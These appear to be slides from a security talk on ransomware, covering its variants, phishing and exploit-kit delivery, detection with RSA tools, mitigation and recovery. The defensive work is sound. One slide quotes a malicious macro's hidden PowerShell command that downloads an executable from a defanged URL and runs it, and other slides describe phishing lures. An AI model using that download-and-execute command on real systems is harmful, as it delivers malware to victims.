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The Threat
Background Targets and Variants
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About Us – Raytheon Foreground Security
MSSP Difference
•Managed Detection and Response 
with a focus in proactive threat 
hunting

–Searching thru datasets that evade 
traditional rule/signature based 
solutions
–Leverage our patented technology to 
hunt

–Not alert driven!
•Data stays in customer space
•Customized approach

–Plug into your processes & tools
–Vender Inclusive
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About Us – VSOC
VSOC
•Hunters human and machine

–Reverse engineering
–Forensic analysis 
–Custom content creation

–750+ App Rules
–Approx. 200 custom Parsers this 
year

–Very low false positive rate
•Blue learns from red
•Customers benefit from other 
customers
•Threat Scope/Roadmap for 
entire enterprise
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About Us – Large Financial Firm 
•Large Financial Firm

–Many products, many needs
–Constant battle between projects, people and resources
–Tier 1- Tier 3 analysts in house with multiple specialties of products
–Endpoint

•Some ECAT
•Other vendors used as well

–Network level monitoring
•Packets!
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Background Information
• Two main types of Ransomware

• First ransomware threat detected around 1989 AIDS Trojan 5.25” floppy 
distributed via snail mail.
–Lockers

•Locks the computer
•Higher success rate of recovery

–Crypto
•Encrypts user data
•Harder to recover from
•Most commonly found in the wild
•Focus of this talk

–Ransomware poised to be most profitable malware 
•Most demand Payment in Bitcoin
•FBI forecasts could top $1Billion this year alone
•Cerber perhaps the most profitable
•RSA has released content for Cerber
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Common Locker Types
• Symmetric – one Key much faster

–Generated on comp then send to attacker or 
–Request key from attacker after compromised
–To keep the user from having the key

• Asymmetric – Public & Private
–Much slower
–Less care about public key

•Both, this is nasty
–Downloaded Public Key

•Connection must not be blocked to be successful
•Can reuse same Public key

–Embedded Public Key
•No need to dial out
•Must use original key pairs every time if giving out private key

File encrypted using 
AES

256-Bit Symmetric Key AES Generated 

2048-Bit 
Asymmetric 
Key RSA 
Generated

1

RSA Key 
Retrieved 
from 
Ransomware 
Exe

2

3
AES Key is Encrypted with RSA Key 
and Embedded in Encrypted File
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Current Variant Information
• Pick a variant any variant

• CBTLocker
• Uses Both symmetric and 

asymmetric
–Fantom

•Mimics Windows installer
–CryLocker

•Atypical Beacons
–Hydra Crypt

•Added a countdown clock dumps 
data at 0

•De-Crypter Available
–CryPy

•Created totally in Python
–Locky

•Next slide
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Locky Variant 
• September 26th new Locky variant .odin extension
–delivered via macro email
–user enables macros
–gets an encrypted .dll via C2
–encrypts .dll
–uses legitimate process rundll32.exe to invoke the downloaded .dll
–begins to encrypt user data all files types below are owned
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Locky Vaccines
• Legacy Static Vaccines

–In the past did not target computers with System Language set to Russian
–Set registry key

•HKCU\Software\Locky
–Locky Updated, static vaccine no longer works

• Dynamic Vaccine Still Applicable on some Variants
–Lexi.com
–Python script
–Registry key created based on the individual machine Windows GUID Partition 
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Ransomware
Delivery Detection and Identification
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Typical Delivery or Suspicious indicators (Email campaigns)
•Typo squatting senders 

–This includes @d0main.com as well as VIPname@notourdomain[.]com
–We have a couple of…popular VIP’s that get more of certain types of requests

•Specific types of phishing campaigns
–“I’m not in the office can you send me X”
–Invoice spam, wire fraud & indicators
–Common extortion schemes

•Weird attachments
–JPG’s that are actually executables
–MS Office products we don’t use in house
–Pdfs with macros

•Trending info
–Free-mail (yahoo, gmail, outlook, Hotmail etc) senders with 100+ recipients in different 
business units
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Ransomware Note
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Delivery - Phishing
• Executive spoofing

– CEO to CFO
– CEO to other execs

• Blank email or “hi XXX, are you in the office?”
• Try to start dialog before sending the wire transfer request or real phish

• Invoice/ bill click bait
– “company.com employment contrat”

• Dridex contained in a .doc
– “Budget report”

• Zip files containing what look like xls files but are actually highly obfuscated js
– “Docusign: Invoice amendment”
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Delivery - Attachments/URL used in attacks
• Attachments 

– Swf, url, js, doc, docm
• Service = 25 && attachment = “swf, url, js, doc, docm”

• Compressed in 7z, zip, rar etc.
– Tool Limitation

• Can’t pull out specific meta values for compressed files but when viewing sessions can pull 
them out

• New techniques to avoid network detection 
• Password protected attachments

• Constantly changing
– MS Publisher files – bundled with office 365 even if you don’t use it
– Sandbox avoidance – new techniques make detection via packets harder!
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Delivery - Exploit Kits (Angler)
• How it works

– User Browses to a legitimate website
– Drive by add redirects user to a compromised site

• Angler hosted webpage
– Angler scans your computer for vulnerabilities
– Exploits a vulnerability like outdated Java
– Drops the payload using the unpatched Java
– Payload in our case is Ransomware

• RFS Parsers close to 100% accuracy with low false positives

• Benefits of parsers vs IDS rules
– Multiple filtering points
– Very flexible
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Detection - Phishing
• Worked with RFS to RE indicators on common campaigns
• Created new meta for all phishing related content
• Regularly review content to ensure it is up to date with 

changing themes
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Brand spankin new variants
•Zip containing jar file that looked like a pdf…
•New techniques – running embedded OLE objects via on click 
function
•Evaded ALL sandbox detection (FireEye, Hybrid, Malwr, Cuckoo 
(local repo) and AMP/ThreatGrid) 
•Had to resort to endpoint detection to identify initially and then go 
back to create network level indicators
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Endpoint level details
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New Macro techniques
Macro executes following command:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep 
bypass -c $f=[System.IO.Path]::GetTempFileName();(New-Object 
System.Net.WebClient).DownloadFile('hXXp://sanitizedURL[.]com/changelog/bindata[.]
exe', $f);(New-Object -com WScript.Shell).Exec($f)

•Embedded OLE Packager object on-click via some macro voodoo, vs 
old-fashioned right-click -> Enable Embedded Object
•Has been seen grabbing all sorts of malware from Kovter to 
JBifrost/Adwind RAT
•https://blog.fortinet.com/2016/08/16/jbifrost-yet-another-incarnation-of-the-adwind-rat
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Detection – Network Indicators
• Look for C2

– Certain types of malware 
need parsers to detect C2 
communication as it tends to 
have more indicators that are 
not always found in meta 
(CryptXXX, CryptMic, 
TeslaCrypt, new badness as 
yet unnamed)

– Some just need app rule as 
indicator are found in meta 
(Locky)
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Detection – ESA - Power of Correlative Analysis
• Advanced Correlative 

Detection
• Based on Esper

– Similar to SQL

• Playing in the deep end
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Detection – ESA - Power of Correlative Analysis
• Solution for kids that 

like the shallow end of 
the pool

• Easy to use GUI
• Much easier to read 

and formulate
• Enrichments
• Context Hub
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Detection - Email
• Hard to detect unless in 

plain text, even then 
issues with finding specific 
indicators as they change 
often

• New email parser by RSA 
helps significantly – adds 
email domains to 
alias.host, breaks down 
to/from emails.
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Ransomware Identification – File Types
• Example Common Encrypted Files

–.EnCiPhErEd,  .R5A, .cerber, .encrypted, .crjoker, .hydracrypt_ID_#
–.Locky, .magic, .ENC, .rdm

• Knowing ransomware type can 
– Determine steps to decrypt

• Helpful Link
– https://id-ransomware.malwarehunterteam.com/
– Upload your malware sample files 
– Help identify the variant from 191 different types
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Ransomware & Other Indicators
• Keeping current on content!

– Date your parsers!
• Suspicious behaviors in your environment
• Possible Pentest 
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Ransomware
Mitigation and Recovery Practices
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Mitigation – Lock it down!
• Application whitelisting with ECAT 

–Windows 10 Device Guard
–Hardware & Software Requirements
–Only executes Trusted Applications

–Most Malware is unsigned
–Virtualization Based Security(VBS)

–Protects kernel against bad drivers or 
system files

–Deny DMA-based attacks
–VBS has Hardware requirements
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Mitigation
• Protections for File less malware

–Prevent sponsor type systems tools from reaching out
•Powershell.exe

•Proxy Content Filtering
–Block Unknown, Pending, Suspicious, and Malicious categories

•Thorough Attachment Blocking Policies
–Compressed Files
–.Docm & .xlsm are macro supported files
–Antiquated .xls and .doc

•Post 2K8 docx & .xlsx do not allow embedded macros
•Company specific zip allowable formats

•Example rename to .rsazip 
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Mitigation
•Content Scanners

–Compares displayed data to actual data finding the malicious package prior to 
execution

•No Social Media Period
•Don’t allow external users to access the network outside of a vpn.
•Network Segmentation

–Could help spread the ransomware infection
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Mitigation
•Rename Volume Shadow Copy

–Make it difficult for the ransomware to do what it wants to do.
•Pull the plug

–If you are fast enough when the macro hits and the CPU spikes
–May be able to break up the communication.

•Patch, Patch, Patch
–Prioritize Patching
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Recovery
•Good backup practices
•Check to ensure that you backups do not have the ransomware
•De-encryption is a possibility
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Helpful Links
• Whitelisting:

– https://technet.microsoft.com/en-us/itpro/windows/keep-secure/device-guard-
deployment-guide

– http://www.bleepingcomputer.com/tutorials/create-an-application-whitelist-
policy-in-windows/
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Time to play Stump the Chump
ANY QUESTIONS?
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